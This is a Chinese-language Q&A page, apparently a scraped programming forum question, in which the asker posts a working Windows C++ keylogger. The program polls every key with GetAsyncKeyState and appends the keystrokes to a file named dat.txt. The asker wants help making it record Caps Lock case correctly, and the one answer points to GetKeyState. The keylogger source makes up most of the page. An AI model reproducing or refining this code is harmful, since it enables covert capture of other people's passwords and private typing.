检查CAPSLOCK是否在C ++中打开/关闭

问题描述 投票:0回答:1

[嗨,我有这段代码,它可以记录击键并将其保存在dat.txt文件中,但它无法区分黑白大写字母,它写所有大写字母,例如“ ABCDEFG”而不是“ abcdefg”。我需要一个检查Capslock是否为ON / OFF的代码。然后按原样保存输出。

#define _WIN32_WINNT 0x0500 
#include <Windows.h>
#include <string>
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;
void LOG(string input) {
    fstream LogFile; 
    LogFile.open("dat.txt", fstream::app); 
    if (LogFile.is_open()) {
        LogFile << input; 
        LogFile.close();
    }
}

bool SpecialKeys(int S_Key)
{
 switch (S_Key) {
  case VK_SPACE:
       LOG(" ");
       return true;
  case VK_RETURN:
       LOG("\n");
       return true;
  case VK_SHIFT:
       LOG("[SHIFT]");
       return true;
  case VK_CAPITAL:
       LOG("[CAPSLOCK]");
       return true;
  case VK_OEM_8:
       LOG("!");
       return true;
  case VK_MULTIPLY:LOG("*");
       return true;
  default:
       return false;
 }
}



int main() {
    char KEY = 'x'; 
    while (true) {
        Sleep(10); 
        for (int KEY = 0; KEY <= 255; KEY++) {
            if (GetAsyncKeyState(KEY) == -32767) {    
                fstream LogFile;
                LogFile.open("dat.txt", fstream::app); 
                if (LogFile.is_open()) {
                    LogFile << char(KEY); 
                    LogFile.close();
                }
            }
        }
    }
    return 0;
}
c++ windows keylogger capslock
1个回答
0
投票

您可以使用GetKeyState function检索指定的virtual key的状态。

© www.soinside.com 2019 - 2024. All rights reserved.